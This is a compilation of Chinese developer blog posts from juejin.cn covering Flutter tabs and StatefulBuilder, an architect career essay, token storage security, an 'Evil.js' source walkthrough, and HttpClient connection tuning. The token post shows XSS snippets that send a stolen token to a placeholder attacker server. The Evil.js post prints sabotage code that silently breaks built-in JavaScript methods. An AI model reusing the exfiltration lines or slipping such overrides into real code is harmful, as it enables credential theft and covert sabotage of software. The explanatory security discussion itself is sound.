double opacity = 1 - (page - realPage).abs();
Color thisColor = labelColors[realPage];
thisColor = thisColor;
Color nextColor = labelColors[
realPage + 1 < labelColors.length ? realPage + 1 : realPage];
nextColor = nextColor;


  1. _indicatorRectFor方法修改指示器宽度方法,计算出Tab的中心位置再根据设置宽度绘制最终偏移量位置信息。


final Rect indicator = insets.resolve(textDirection).deflateRect(rect);
double midValue = (indicator.right - indicator.left) / 2 + indicator.left;
return Rect.fromLTWH(
midValue - width / 2,
indicator.bottom - borderSide.width,
width,
borderSide.width,
);

最终效果


🚀详细代码看这里🚀


Video_20220820_045414_26.gif


作者:JulyYu
链接:https://juejin.cn/post/7133880100914724871
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter StatefulBuilder实现局部刷新

前言 flutter项目中,在页面数据较多的情况下使用全量刷新对性能消耗较大且容易出现短暂白屏的现象,出于性能和用户体验方面的考虑我们经常会使用局部刷新代替全量刷新进行页面更新操作。 GlobalKey、ValueNotifier和StreamBuilder等...
继续阅读 »

前言


flutter项目中,在页面数据较多的情况下使用全量刷新对性能消耗较大且容易出现短暂白屏的现象,出于性能和用户体验方面的考虑我们经常会使用局部刷新代替全量刷新进行页面更新操作。


GlobalKeyValueNotifierStreamBuilder等技术方案都可以实现Flutter页面的局部刷新,本文主要记录的是通过StatefulBuilder组件来实现局部刷新的方法。


页面的全量刷新


StatefulWidget内直接调用setState方法更新数据时,会导致页面重新执行build方法,使得页面被全量刷新。


我们可以通过以下案例了解页面的刷新情况:


 int a = 0;
 int b = 0;
 
 @override
 Widget build(BuildContext context) {
   return Scaffold(
     body: Center(
       child: Column(
         mainAxisAlignment: MainAxisAlignment.center,
         children: [
           // 点击按钮,数据‘a’加1,并刷新页面
           ElevatedButton(
             onPressed: () {
               a++;
               setState(() {});
            },
             child: Text('a : $a'),
          ),
           // 点击按钮,数据‘b’加1,并刷新页面
           ElevatedButton(
             onPressed: () {
               b++;
               setState(() {});
            },
             child: Text('b : $b'),
          ),
        ],
      ),
    ),
  );
 }

代码运行效果如图:


代码运行效果图


当我们点击第一个ElevatedButton组件时,会执行a++setState(() {})语句。通过系统的Flutter Performance工具我们可以捕获到组件刷新的情况,当执行到setState(() {})时,页面不只是刷新a数据所在的ElevatedButton组件,而是重新构建了页面,这会造成额外的性能消耗。


代码运行效果图组件实现情况


出于性能的考虑,我们更希望当点击第一个ElevatedButton组件时,系统只对a数据进行更新,b作为局外人不参与此次活动。我们可以通过StatefulBuilder组件来实现这个功能。


StatefulBuilder简介


StatefulBuilder组件包含了两个参数,其中builder参数为必传,不能为空:


 const StatefulBuilder({
     Key? key,
     required this.builder,
  }) : assert(builder != null),
 super(key: key);

builder 包含了两个参数,一个页面的context,另一个是用于状态改变时触发重建的方法:


 typedef StatefulWidgetBuilder = Widget Function(BuildContext context, StateSetter setState);
 final StatefulWidgetBuilder builder;

StatefulBuilder的实际应用


StatefulBuilder组件在实际应用中主要分成以下操作:



1、定义一个StateSetter类型的方法;


2、将需要局部刷新数据的组件嵌套在StatefulBuilder组件内;


3、调用第1步定义的StateSetter类型方法对StatefulBuilder内部进行刷新;



 int a = 0;
 int b = 0;
 
 // 1、定义一个叫做“aState”的StateSetter类型方法;
 StateSetter? aState;
 
 @override
 Widget build(BuildContext context) {
   return Scaffold(
     body: Center(
       child: Column(
         mainAxisAlignment: MainAxisAlignment.center,
         children: <Widget>[
           // 2、将第一个“ElevatedButton”组件嵌套在“StatefulBuilder”组件内;
           StatefulBuilder(
             builder: (BuildContext context, StateSetter setState) {
               aState = setState;
               return ElevatedButton(
                 onPressed: () {
                   a++;
                   // 3、调用“aState”方法对“StatefulBuilder”内部进行刷新;
                   aState(() {});
                },
                 child: Text('a : $a'),
              );
            },
          ),
           ElevatedButton(
             onPressed: () {
               b++;
               setState(() {});
            },
             child: Text('b : $b'),
          ),
        ],
      ),
    ),
  );
 }

重新运行后点击第一个按钮对a进行累加时,通过Flutter Performance工具我们可以了解到,只有StatefulBuilder组件及其包含的组件被重新构建,实现了局部刷新的功能,有效的提高了页面的性能;


代码运行效果图组件刷新情况


总结


StatefulWidget内更新一个属性会导致整个树重新构建,为防止这种不必要的性能消耗,可以通过StatefulBuilder组件进行局部刷新,有效的提高性能。


作者:zheng1998
链接:https://juejin.cn/post/7134335466614030344
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

为什么有些蛮厉害的人,后来都不咋样了

摆正初心我写这篇文章,初心是为了找到导致这样结果的原因,而不是站在一个高高在上的位置,对别人指手画脚,彰显自己多牛皮。(PS:我也鄙视通过打压别人来展示自己,你几斤几两,大家都是聪明人看得出来,如果你确实优秀,别人还打压,说明他急了,哈哈哈)思考结果我觉得是没...
继续阅读 »

前言


写这篇文章目的是之前在一篇文章中谈到,我实习那会有个老哥很牛皮,业务能力嘎嘎厉害,但是后面发展一般般,这引起我的思考,最近有个同事发了篇腾讯pcg的同学关于review 相关的文章,里面也谈到架构师的层次,也再次引起我关于架构师的相关思考,接下来我们展开聊聊吧~

摆正初心


我写这篇文章,初心是为了找到导致这样结果的原因,而不是站在一个高高在上的位置,对别人指手画脚,彰显自己多牛皮。(PS:我也鄙视通过打压别人来展示自己,你几斤几两,大家都是聪明人看得出来,如果你确实优秀,别人还打压,说明他急了,哈哈哈)

查理芒格说过一句话:如果我知道在哪里会踩坑,避开这些,我已经比很多人走得更远了。

思考结果


我觉得是没有一个层级的概念导致的,这个原因筛掉了大部分人,突破层级的难度筛掉了另外一批人,运气和机会又筛掉另一波人。

没有层级概念

为什么这么讲呢?

我们打游戏的时候,比如说王者,会有废铁、青铜、钻石、铂金、荣耀、荣耀王者,对吧。它的层级大家都清楚,但是在现实生活中,你会闷逼了,我当前处在那个阶段,上一层是什么水平,需要什么技能,什么样的要求。

其次也会对自己能力过高的评价,如果你一直在组里面,你可能一直是一把手,到了集团,可能变成10名内,到了公司排名,可能几百名后。我们需要站在一个更高、更全面的角度去了解自己的位置。

出现这种情况也很正常

举个栗子,以前我实习那会,有个老哥业务能力特别强,啥活都干得快,嘎嘎牛皮,这是个背景

如果团队里头你最厉害了,那你的突破点,你的成长点在哪里?

对吧,大家都比你菜了,自然你能从别人身上学习到的就少了,还有一种情况是你觉得你是最厉害的,这种想法也是最要命的,会让你踏步不前。这时的解法,我认为是自驱力,如果你学哲学,就知道向内求,自我检讨,自己迭代更新,别人就是你,你就是别人,别人只是一面镜子。

层级的概念

那时看到他搞业务特别厉害,但现在看是做需求厉害,但是缺乏深度。我对比以前的开发经历,跟现在在架构组的工作经历,感受很明显。一个是为了完成任务,一个需要深度,什么深度呢?这个埋下伏笔,为后面架构师层级再展开聊聊。

从初级到中级,到高级,再到主程、再到TL,技术经理,再到架构师,再到负责人。当完成任务的时候,是最基本的事情,深入的时候,从coding入手,在代码上有所追求,比如说可读性,用用设计模式,再深入想到代码可扩展性。。。

当你了解下一个层级的要求的时候,有了目标才能有效的突破它。

突破层级的难度

这是在上一个原因基础上一个加强版,你了解了各个层级的要求,但是突破这些要求,可能由于阅历,或者能力,或者天赋不足,导致突破困难。


这里我想聊聊架构师的思考,之前在转正答辩上,一个领导问我你怎么理解架构的,我当时没有概念,但是接触相关工作以及观看相关文章,有了更深理解。

  • 腾讯工程师,万字长文说 Code Review

这里讲的是coding部分,属于架构师负责的一部分,规范

我不禁想想平时什么工作内容涉及到这个?

比如说契约,规定了依赖jar版本;定义了协议,什么类型输出的格式,转换的类型;开发的规范,设计文档的样式;像文中review的过程,确实比较少,目的是为了减少代码的坏味道。就像文中讲到,如果你定义的一个规范,可以在300+人里面hold,让系统一直在正常迭代,那么算合格的架构师。

一次广义上review

我一般下班会遇到基础服务的小伙伴聊聊天,我说话很少,就喜欢听听别人聊点什么,他跟我聊了几天,我发现问题是现有商品代码已经不足以支持业务的快速迭代,因为冗余其他东西太多了。比如说一个毛胚商品,然后它也快速的加上其他属性,变成一个加工品。但是现在场景变成了它就是一个加工品,你想拆成其他加工品,很困难,就是字段冗余到商品表里头了。

这个时候到架构已经不适合业务快速迭代了,需要重构,大破大立,还需要大佬牵头。review狭义上是代码层发现问题,如果你从一线同学那里听到的东西,能发现问题,也是一种review。

架构师不止规范,需要深度

需要什么深度呢?

从一个做需求的点看,从需求理解,这个是业务深度,从设计文档上,严谨程度,扩展性、风险点、可行性,设计深度。从开发阶段,coding,技术规范,技术功底,这个是技术深度

跳出需求的点,从大的面来看,需求为了解决什么问题,不做行不行,业务价值在哪里?做了这一期还有后续吗,这是业务的前景。然后规划是怎样的,先从哪里入手,然后有木有计划去推进?这是思考的深度

抽象的能力

  • 大咖们如何评判优秀架构师?

里面反复提到抽象的能力,比如说逻辑、物理架构图,这个有助于你理解整个系统的调用关系,形成闭环,可以从全局的角度去理解,我当前做的需求在什么位置,为了解决什么问题。

再到通过问题看到本质,从技术方案看到实质。有一次一位同学跟我探讨DDD,跟我说防腐层不应该是这样写的,你只是用了策略模式去写,应该有个一个门面,然后后面是实现逻辑。我听到这里就明白他被绕进去了,DDD是一个思想,他幻化出来一些对应的框架,它的精髓是高内聚、低耦合。你说策略模式,能否将外部rpc调用分隔开呢?当然可以,它算不算防腐层呢?也算~

最近一次做代码优化的时候,我用了责任链的设计模式,将190行的代码,拆分成4个模块,每个类大概30行,当然190行包括换行。但是实际效果除了行数变少外,每个模块分工特别清晰,这个模块在处理特定的逻辑,当某部分有问题的时候,直接找到那个模块修改即可。(这就是高内聚的魅力)

抽象另一种体现:模块化

最近在牵头做账单,其实我也没做过,我就找了几篇大厂的文章看看,拿来吧你,哈哈


分为几个步骤,下载账单,解析账单,对账,差异处理(平账)。是不是瞬间有了几个模块,文件模块,包括上传、下载,解析文件对吧。然后是账单模块,可能会分成订单,还有一些退款的,然后是对账处理结果,属于对账模块,文件解析出来的东西跟账单对比,哪些是对的上的,哪些又是异常的,这个模块还有后续的处理结果,自动平账,或者人工处理。

模块化也是高内聚的体现,这就是DDD的思想,只不过人家现在有名头而已~

运气

这个就不展开了,有点玄学,也看投胎,也看老天赏不赏饭吃。我觉得嘛,不管有没有有运气,都要不卑不亢,努力提升自己,很多结果我们决定不了的,但是过程我们可以说了算,人生不也是这样嘛,那就好好享受过程吧~


最后


《矛盾论》,还是里面的观点,我们需要全面的认识自己的定位,找到自己的优势,不断突破自我。有些厉害,只是暂时性的,而长远来看,只是冰山一角。


作者:大鸡腿同学
来源:juejin.cn/post/7133246541623459847

收起阅读 »

token到底该怎么存?你想过这个问题吗?

web
首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。从XSS角度看但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?因为本地存储是可以被JS任意读写...
继续阅读 »

token存cookie还是localStorage,存哪个更安全、哪个能实现需求,下面就该问题展开讨论。

首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。

如果SSO是通过跳转到认证中心进行登录态校验,然后回跳携带token的方式(类似第三方微信登录),那localStorage也是可行的,但体验就没有那么好了,具体需要进行取舍。

从XSS角度看

XSS攻击的危害是非常大的,所以我们无论如何都是要避免的;不过幸运的是,大部分XSS攻击浏览器都帮我们进行了有效的处理。

但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?

localStorage

因为本地存储是可以被JS任意读写的,攻击者可以如果成功的进行了XSS,那么存在本地存储中的token,会被轻松拿到,甚至被发送到攻击者的服务器存储起来。

  // XSS
 const token = localStorage.getItem('token')
 const image = new Image()
 image.src = `攻击者的服务器地址?token=${token}`

cookie

如果cookie不做任何设置,和localStorage基本一致,被XSS攻击时也可以轻松的拿到token。

  // 以下代码来自MDN
 // https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie
 const getCookie = (key) => {
   return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(key).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}

 const token = getCookie('token')
 const image = new Image()
 image.src = `攻击者的服务器地址?token=${token}`

好在cookie提供了HttpOnly属性,它的作用是让该cookie属性只可用于http请求,JS不能读取;它的兼容性也非常不错(如果说你要兼容老古董IE8,那当我没说)。


以下是express定义的一个登录接口示例:

  router.post('/login', async(req, res, next) => {
   const token = Math.random()
   res.header({
     'Set-Cookie': `token=${token}; HttpOnly`,
  }).send({
     code: 0,
     message: 'login success'
  })
})

仅管经过这样的设置,依然仅仅只是避免了远程XSS;因为就算开启了HttpOnly,使得JS不能读取,但攻击者仍可实施现场攻击,就是攻击是由用户自己的设备触发的;攻击者可以不知道用户的token,但可以在XSS代码中,直接向服务端发送请求。

这就是为什么前面说XSS攻击我们无论如何都是要避免的,但不是说防御XSS仅仅只是为了token的安全。

从CSRF角度看

localStorage

从CSRF角度来看,因为localStorage是域名隔离的,第三方域名是完全无法读取,这是localStorage的天然优势。

cookie

因为cookie是在发送请求时被浏览器自动携带的,这个机制是一把双刃剑,好处是可以基于此实现SSO,坏处就是CSRF攻击由此诞生。

防御cookie带来的CSRF攻击有如下方案:

csrfToken

通过JS读取cookie中的token,添加到请求参数中(csrfToken),服务端将cookie中的token和csrfToken进行比对,如果相等则是正常请求;

这种做法虽说避免了CSRF,但不能满足SSO需求,因为要添加一个额外的请求参数;而且不能开启HttpOnly属性(伴随着存在远程XSS的风险),因为要供JS读取,如此一来基本和localStorage一致了。

SameSite

cookie有个SameSite属性,它有三种取值(引用自MDN):

  • None

    • 浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。

  • Strict

    • 浏览器将只在访问相同站点时发送 cookie。

  • Lax

    • 与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接

注意:之前的SameSite未设置的情况下默认是None,现在大部分浏览器都准备将SameSite属性迁移为Lax。

设置了SmaeSite为非None时,则可避免CSRF,但不能满足SSO需求,所以很多的开发者都将SameSite设置成了None。

SameSite的兼容性:


未来的完美解决方案(SameParty)

cookie的SameParty,这个方案算得上是终极解决方案,但很多浏览器都暂未实现。

这个方案允许我们将一系列不同的域名配置为同一主体运营,即可以在多个指定的不同域名下都可以访问到cookie,而配置之外的域名则不可访问,即避免了CSRF又保证了SSO需求的可行性。

具体使用:

1、在各个域名下的/.well-known/first-party-set路径下,配置一个JSON文件。

主域名:

 {
  "owner": "主域名",
  "version": 1,
  "members": ["其他域名1", "其他域名2"]
}

其他域名:

 {
  "owner": "当前域名"
}

2、服务端设置SameParty

  router.post('/login', async(req, res, next) => {
   const token = Math.random()
   res.header({
     'Set-Cookie': `token=${token}; SameParty; Secure; SameSite=Lax;`,
  }).send({
     code: 0,
     message: 'login success'
  })
})

注意:使用SameParty属性时,必须要开启secure,且SameSite不能是strict。

总结

序号方式是否存在远程XSS是否存在CSRF是否支持SSO兼容性
1localStorage
2cookie,未开启HttpOnly,SameSite为None
3cookie,未开启HttpOnly,SameSite为None,增加csrfToken
4cookie,开启HttpOnly,SameSite为NoneIE8之后
5使用cookie,开启HttpOnly,设置了SameSite非NoneIE10之后,IE11部分;Chrome50之后
  1. 如果不需要考虑SameSite的兼容性,使用localStorage不如使用cookie,并开启HttpOnly、SameSite。

  2. 如果你需要考虑SameSite的兼容性,同时也没有SSO的需求,那么就用localStorage吧,不过要做好XSS防御。

  3. 将token存储到localStorage并没有那么不安全,大部分XSS攻击浏览器都帮我们进行了有效的处理,不过如果沦落到需要考虑SameSite的兼容性了,可能那些版本的浏览器不存在这些XSS的防御机制;退一步讲如果遭受了XSS攻击,就算是存储在cookie中也会受到攻击,只不过被攻击的难度提升了,后果也没有那么严重。

  4. 如果有SSO需求,使用cookie,在SameParty可以使用之前,我们可以做好跨域限制、CSRF防御等安全工作。

  5. 如果可以,我是说如果,多系统能部署到一个域名的多个子域名下,避免跨站,那是最好,就可以既设置SameSite来避免CSRF,又可以实现SSO。

总的来说,cookie的优势是多余localStorage的。

我们的做法

因为我们是需要SSO的,所以使用了cookie,配套做了一些的安全防御工作。

  • 开启HttpOnly,SameSite为none

  • 认证中心获取code,子系统通过code换取token

  • 接口全部采用post方式

  • 配置跨域白名单

  • 使用https

参考

juejin.cn/post/7002011181221167118


作者:Ytiona
来源:juejin.cn/post/7133940034675638303

收起阅读 »

火爆全网的 Evil.js 源码解读

2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下:什么?黑心996公司要让你提桶跑路了?想在离开前给你们的项目留点小 礼物 ?偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:当数组长度可以被7整除时,Ar...
继续阅读 »

2022年8月18日,一个名叫Evil.js的项目突然走红,README介绍如下:

什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:

当数组长度可以被7整除时,Array.includes 永远返回false。
当周日时,Array.map 方法的结果总是会丢失最后一个元素。
Array.filter 的结果有2%的概率丢失最后一个元素。
setTimeout 总是会比预期时间慢1秒才触发。
Promise.then 在周日时有10%不会注册。
JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
Date.getTime() 的结果总是会慢一个小时。
localStorage.getItem 有5%几率返回空字符串。

并且作者发布了这个包到npm上,名叫lodash-utils,一眼看上去,是个非常正常的npm包,跟utils-lodash这个正经的包的名称非常相似。


如果有人误装了lodash-utils这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。


现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。


image.png

作者是如何做到的呢?我们可以学习一下,但是只单纯学技术,不要作恶噢。要做更多有趣的事情。

立即执行函数

代码整体是一个立即执行函数,

(global => {

})((0, eval('this')));

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

另有朋友反馈说,最新版本是这样的:
(global => {

})((0, eval)('this'));

该函数的参数是(0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在window、globalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>
const a = 1;
</script>
<script>
const b = a + 1;
</script>

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。


作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes


注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。


map方法


当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

如何判断周日?new Date().getDay() === 0即可。


这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。


filter方法


Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}

includes一样,不多介绍了。

setTimeout方法

setTimeout总是会比预期时间慢1秒才触发

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不建议用

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。


Date.getTime


Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}



链接:https://juejin.cn/post/7133134875426553886
收起阅读 »

HttpClient 在vivo内销浏览器的高并发实践优化

web
HttpClient作为Java程序员最常用的Http工具,其对Http连接的管理能简化开发,并且提升连接重用效率;在正常情况下,HttpClient能帮助我们高效管理连接,但在一些并发高,报文体较大的情况下,如果再遇到网络波动,如何保证连接被高效利用,有哪些...
继续阅读 »

HttpClient作为Java程序员最常用的Http工具,其对Http连接的管理能简化开发,并且提升连接重用效率;在正常情况下,HttpClient能帮助我们高效管理连接,但在一些并发高,报文体较大的情况下,如果再遇到网络波动,如何保证连接被高效利用,有哪些优化空间。

一、问题现象

北京时间X月X日,浏览器信息流服务监控出现异常,主要表现在以下三个方面:

  1. 从某个时间点开始,云监控显示部分Http接口的熔断器被打开,而且从明细列表可以发现问题机器:

图片

2. 从PAAS平台Hystrix熔断管理界面中可以进一步确认问题机器的所有Http接口调用均出现了熔断:

3. 日志中心有大量从Http连接池获取连接的异常:org.apache.http.impl.execchain.RequestAbortedException: Request aborted。

二、问题定位

综合以上三个现象,大概可以推测出问题机器的TCP连接管理出了问题,可能是虚拟机问题,也可能是物理机问题;与运维与系统侧沟通后,发现虚拟机与物理机均无明显异常,第一时间联系运维重启了问题机器,线上问题得到解决。

2.1 临时解决方案

几天以后,线上部分其他机器也陆续出现了上述现象,此时基本可以确认是服务本身有问题;既然问题与TCP连接相关,于是联系运维在问题机器上建立了一个作业查看TCP连接的状态分布:

netstat -ant|awk '/^tcp/ {++S[$NF]} END {for(a in S) print (a,S[a])}'
复制代码

结果如下:

如上图,问题机器的CLOSE_WAIT状态的连接数已经接近200左右(该服务Http连接池最大连接数设置的250),那问题直接原因基本可以确认是CLOSE_WAIT状态的连接过多导致的;本着第一时间先解决线上问题的原则,先把连接池调整到500,然后让运维重启了机器,线上问题暂时得到解决。

2.2 原因分析

调整连接池大小只是暂时解决了线上问题,但是具体原因还不确定,按照以往经验,出现连接无法正常释放基本都是开发者使用不当,在使用完成后没有及时关闭连接;但很快这个想法就被否定了,原因显而易见:当前的服务已经在线上运行了一周左右,中间没有经历过发版,以浏览器的业务量,如果是连接使用完没有及时关。

闭,250的连接数连一分钟都撑不到就会被打爆。那么问题就只能是一些异常场景导致的连接没有释放;于是,重点排查了下近期上线的业务接口,尤其是那种数据包体较大,响应时间较长的接口,最终把目标锁定在了某个详情页优化接口上;先查看处于CLOSE_WAIT状态的IP与端口连接对,确认对方服务器IP地址。

netstat-tulnap|grep CLOSE_WAIT
复制代码

图片

经过与合作方确认,目标IP均来自该合作方,与我们的推测是相符的。

2.3 TCP抓包

在定位问题的同时,也让运维同事帮忙抓取了TCP的数据包,结果表明确实是客户端(浏览器服务端)没返回ACK结束握手,导致挥手失败,客户端处于了CLOSE_WAIT状态,数据包的大小也与怀疑的问题接口相符。

图片

为了方便大家理解,我从网上找了一张图,大家可以作为参考:

图片

CLOSE_WAIT是一种被动关闭状态,如果是SERVER主动断开的连接,那么就会在CLIENT出现CLOSE_WAIT的状态,反之同理;

通常情况下,如果客户端在一次http请求完成后没有及时关闭流(tcp中的流套接字),那么超时后服务端就会主动发送关闭连接的FIN,客户端没有主动关闭,所以就停留在了CLOSE_WAIT状态,如果是这种情况,很快连接池中的连接就会被耗尽。

所以,我们今天遇到的情况(处于CLOSE_WAIT状态的连接数每天都在缓慢增长),更像是某一种异常场景导致的连接没有关闭。

2.4 独立连接池

为了不影响其他业务场景,防止出现系统性风险,我们先把问题接口连接池进行了独立管理。

2.5 深入分析

带着2.3的疑问我们仔细查看一下业务调用代码:

try {
httpResponse = HttpsClientUtil.getHttpClient().execute(request);
HttpEntity httpEntity = httpResponse.getEntity();
is = httpEntity.getContent();
}catch (Exception e){
log.error("");
}finally {
IOUtils.closeQuietly(is);
IOUtils.closeQuietly(httpResponse);
}
复制代码

这段代码存在一个明显的问题:既关闭了数据传输流( IOUtils.closeQuietly(is)),也关闭了整个连接(IOUtils.closeQuietly(httpResponse)),这样我们就没办法进行连接的复用了;但是却更让人疑惑了:既然每次都手动关闭了连接,为什么还会有大量CLOSE_WAIT状态的连接存在呢?

如果问题不在业务调用代码上,那么只能是这个业务接口具有的某种特殊性导致了问题的发生;通过抓包分析发现该接口有一个明显特征:接口返回报文较大,平均在500KB左右。那么问题就极有可能是报文过大导致了某种异常,造成了连接不能被复用也不能被释放。

2.6 源码分析

开始分析之前,我们需要了解一个基础知识:Http的长连接和短连接。所谓长连接就是建立起连接之后,可以复用连接多次进行数据传输;而短连接则是每次都需要重新建立连接再进行数据传输。

而通过对接口的抓包我们发现,响应头里有Connection:keep-live字样,那我们就可以重点从HttpClient对长连接的管理入手来进行代码分析。

2.6.1 连接池初始化

初始化方法:

图片

进入PoolingHttpClientConnectionManager这个类,有一个重载构造方法里包含连接存活时间参数:

图片

顺着继续向下查看

图片

manager的构造方法到此结束,我们不难发现validityDeadline会被赋值给expiry变量,那我们接下来就要看下HttpClient是在哪里使用expiry这个参数的;

通常情况下,实例对象被构建出来的时候会初始化一些策略参数,此时我们需要查看构建HttpClient实例的方法来寻找答案:

图片

此方法包含一系列的初始化操作,包括构建连接池,给连接池设置最大连接数,指定重用策略和长连接策略等,这里我们还注意到,HttpClient创建了一个异步线程,去监听清理空闲连接。

当然,前提是你打开了自动清理空闲连接的配置,默认是关闭的。

图片

图片

接着我们就看到了HttpClient关闭空闲连接的具体实现,里面有我们想要看到的内容:

图片

图片

此时,我们可以得出第一个结论:可以在初始化连接池的时候,通过实现带参的PoolingHttpClientConnectionManager构造方法,修改validityDeadline的值,从而影响HttpClient对长连接的管理策略。

2.6.2 执行方法入口

先找到执行入口方法:org.apache.http.impl.execchain.MainClientExec.execute,看到了keepalive相关代码实现:

图片

我们来看下默认的策略:

图片

图片

由于中间的调用逻辑比较简单,就不在这里一一把调用的链路贴出来了,这边直接给结论:HttpClient对没有指定连接有效时间的长连接,有效期设置为永久(Long.MAX_VALUE)。

综合以上分析,我们可以得出最终结论:

HttpClient通过控制newExpiry和validityDeadline来实现对长连接的有效期的管理,而且对没有指定连接有效时间的长连接,有效期设置为永久。

至此我们可以大胆给出一个猜测:长连接的有效期是永久,而因为某种异常导致长连接没有被及时关闭,而永久存活了下来,不能被复用也不能被释放。(只是根据现象的猜测,虽然最后被证实并不完全正确,但确实提高了我们解决问题的效率)。

基于此,我们也可以通过改变这两个参数来实现对长连接的管理:

图片

这样简单修改上线后,处于close_wait状态的连接数没有再持续增长,这个线上问题也算是得到了彻底的解决。

但此时相信大家也都存在一个疑问:作为被广泛使用的开源框架,HttpClient难道对长连接的管理这么粗糙吗?一个简单的异常调用就能导致整个调度机制彻底崩溃,而且不会自行恢复;

于是带着疑问,再一次详细查看了HttpClient的源码。

三、关于HttpClient

3.1 前言

开始分析之前,先简单介绍下几个核心类:

  • 【PoolingHttpClientConnectionManager】:连接池管理器类,主要作用是管理连接和连接池,封装连接的创建、状态流转以及连接池的相关操作,是操作连接和连接池的入口方法;

  • 【CPool】:连接池的具体实现类,连接和连接池的具体实现均在CPool以及抽象类AbstractConnPool中实现,也是分析的重点;

  • 【CPoolEntry】:具体的连接封装类,包含连接的一些基础属性和基础操作,比如连接id,创建时间,有效期等;

  • 【HttpClientBuilder】:HttpClient的构造器,重点关注build方法;

  • 【MainClientExec】:客户端请求的执行类,是执行的入口,重点关注execute方法;

  • 【ConnectionHolder】:主要封装释放连接的方法,是在PoolingHttpClientConnectionManager的基础上进行了封装。

3.2 两个连接

  • 最大连接数(maxTotal)

  • 最大单路由连接数(maxPerRoute)

  • 最大连接数,顾名思义,就是连接池允许创建的最大连接数量;

  • 最大单路由连接数可以理解为同一个域名允许的最大连接数,且所有maxPerRoute的总和不能超过maxTotal。

    以浏览器为例,浏览器对接了头条和一点,为了做到业务隔离,不相互影响,可以把maxTotal设置成500,而defaultMaxPerRoute设置成400,主要是因为头条的业务接口量远大于一点,defaultMaxPerRoute需要满足调用量较大的一方。

3.3 三个超时

  • connectionRequestTimout

  • connetionTimeout

  • socketTimeout

  • **【connectionRequestTimout】:**指从连接池获取连接的超时时间;

  • 【connetionTimeout】:指客户端和服务器建立连接的超时时间,超时后会报ConnectionTimeOutException异常;

  • 【socketTimeout】:指客户端和服务器建立连接后,数据传输过程中数据包之间间隔的最大时间,超出后会抛出SocketTimeOutException。

